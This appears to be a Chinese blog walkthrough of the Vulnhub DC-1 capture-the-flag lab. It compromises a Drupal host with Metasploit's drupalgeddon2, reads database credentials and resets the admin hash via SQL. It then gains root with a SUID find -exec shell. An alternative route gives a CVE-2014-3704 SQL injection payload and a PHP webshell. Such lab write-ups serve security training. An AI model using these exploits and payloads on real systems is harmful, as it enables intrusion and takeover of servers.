Vulnhub[DC1]

简介

下载

  • DC-1.zip (Size: 733 MB)
  • Download: http://www.five86.com/downloads/DC-1.zip
  • Download (Mirror): https://download.vulnhub.com/dc/DC-1.zip
  • Download (Torrent): https://download.vulnhub.com/dc/DC-1.zip.torrent ( Magnet)

流程

信息收集

主机探活

kali中使用arp-scan进行主机探活

arp-scan --interface eth0 192.168.0.0/24 

经过筛选可以知道192.168.0.150 是DC-1的ip

端口扫描

nmap  -p- 192.168.0.150 

可以这里开启了22、80、111端口

我们先从80端口入手

这里可以发现用的是DrupalCMS

渗透

Flag1

启动msf,搜索下Drupal可用的EXP

search Drupal

这里我们选用exploit/unix/webapp/drupal_drupalgeddon2

因为他是最新的,而且品质为excellent

use exploit/unix/webapp/drupal_drupalgeddon2
set RHOSTS 192.168.0.150
show options
run

这样我们就可以成功得到一个会话。

我们用会话返回一个shell

查看目录,获取flag1

Every good CMS needs a config file - and so do you.

翻译:每个好的 CMS 都需要一个配置文件——你也一样。

这里也就是提示说去查看DrupalCMS的配置文件

Flag2

DrupalCMS的默认配置文件为 /var/www/sites/default/settings.php

这里我们获得数据库的账号dbuser和密码R0ck3t

  • flag2
  • Brute force and dictionary attacks aren’t the
  • only ways to gain access (and you WILL need access).
  • What can you do with these credentials?

翻译:

  • 蛮力和字典攻击不是
  • 获得访问权限的唯一方法(您将需要访问权限)。
  • 您可以使用这些凭据做什么?

Flag3

这里我们直接连接mysql之后shell会没有反应的

这里我们需要用python转换成标准的shell

python -c "import pty;pty.spawn('/bin/bash')"

连接mysql

常规的mysql查询

这里的密码是经过drupal加密

在scripts的文件夹中有用来算密码的脚本
但是因为靶机的环境原因会报错

但是可以查到

明文:password
密文:$S$CDbdwZvjHQ09IVRs88G0fnaxPr50/kb81YI9.8M/D9okW7J/s5U4

直接update更新admin密码

update users set pass='$S$CDbdwZvjHQ09IVRs88G0fnaxPr50/kb81YI9.8M/D9okW7J/s5U4' where name='admin';

然后进行登录

经过查看可以发现Flag3

Special PERMS will help FIND the passwd - but you’ll need to -exec that command to work out how to get what’s in the shadow.

翻译:特殊权限将有助于查找密码 - 但您需要 -exec 该命令才能确定如何获取阴影中的内容。

这里提示我们提示用find -exec,想到用suid提权

Flag4

使用find / -name flag*.txt命令,直接来查找flag文件,获取到flag4

Can you use this same method to find or access the flag in root?

Probably. But perhaps it’s not that easy. Or maybe it is?

翻译:

您可以使用相同的方法在 root 中查找或访问标志吗?
大概。但也许这并不容易。或者也许是?

提权

使用find找下具有root权限的suid

find / -perm -u=s -type f 2>/dev/null

可以看到find是可以用来提权的

我们尝试用find执行命令

# 这里需要注意-name参数填写的文件名,是需要系统真实存在的
find / -name flag4 -exec "whoami" \;

可以发现这使用的root用户权限

那么我们接下来用find提权

find / -name flag4 -exec "/bin/sh" \;

这里可以发现已经是root用户了

这算是预期解了,按照顺序下来的

非预期解

首先用nmap -A --script=vuln 192.168.0.150扫描靶机

开放了80和22端口,并且存在cve-2014-3704

漏洞利用

cve-2014-3704这个漏洞是sql注入,能直接数据库添加用户名和密码
payload

pass=lol&form_build_id=&form_id=user_login_block&op=Log+in&name[0%20;update+users+set+name%3d'root'+,+pass+%3d+'$S$DkIkdKLIvRK0iVHm99X7B/M8QC17E1Tp/kMOd1Ie8V/PgWjtAZld'+where+uid+%3d+'1';;#%20%20]=bob&name[0]=a

将上述payload贴进来,发包后,将会创建一个用户名为:root 密码:thanks的账户

成功用新用户登录进去

然后同样的可以找到flag3

flag3提示用find -exec,想到用suid提权

来到modules,开启php filter

新建articel文章,并写入php一句话木马,底下的text format换成PHP code

文章成功发布后,使用蚁剑连接

然后的流程和预期解差不多

也可以根据提示直接提权

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值